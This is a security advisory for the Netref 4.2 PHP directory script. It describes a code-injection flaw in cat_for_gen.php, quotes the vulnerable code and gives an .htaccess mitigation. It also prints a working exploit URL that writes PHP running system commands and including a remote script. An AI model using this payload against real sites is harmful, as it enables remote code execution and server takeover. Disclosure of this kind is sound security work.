Software: annuaire netref
version : 4.2
url : http://www.netref.net
Risk factor : critical

Vendor has been contacted


Description:
-----------

Netref is a PHP/MySQL-based directory script that supports an unlimited
number of categories and links.
Many fonctions to manage the links : Fast search engine with syntax
coloring, Edit icone of category, Alias sites, Check validity of URL,
Possibility to comment the sites, Administrator access to edit all datas
and validate suggested links by users, batch processing, etc.
Also includes Multi-language support (French, English : very easy to add
langage with the system of package).
Very easy to update from older versions.
Very fast rendering.


Vulnerability:
-------------

There is a vulnerability in the handling of input by Netref. Because of
this, it may be possible for a remote user to gain unauthorized access
to the system using the vulnerable software.

The file "script/cat_for_gen.php" does not check the variables $ad,
$ad_direct and $m_for_racine.


*************************** CODE *********************************
if ($ad==1){
	if (!isset($ad_direct)) $ad_direct=""; // variable appelé que dans
certains cas

	$fp=fopen($ad_direct."cache/cat_for.php", "w");
	$temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; // entete du formulaire
		$temp.=">$m_for_racine</OPTION>";
		fwrite ($fp,$temp);
*************************** CODE *********************************


We can see that the $m_for_racine variable is not initialized and will
be written in the cache/cat_for.php file. We can inject any php commands !


Exploit:
-------

http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=</option></SELECT><?php 


sytem($command);include($remote_script)?>



Solution:
--------

While waiting to upgrade to last version, make a .htaccess file in 
"script/" directory with : deny from all



Credit:
------

jaguar[at]wulab.com
http://jaguar.wulab.com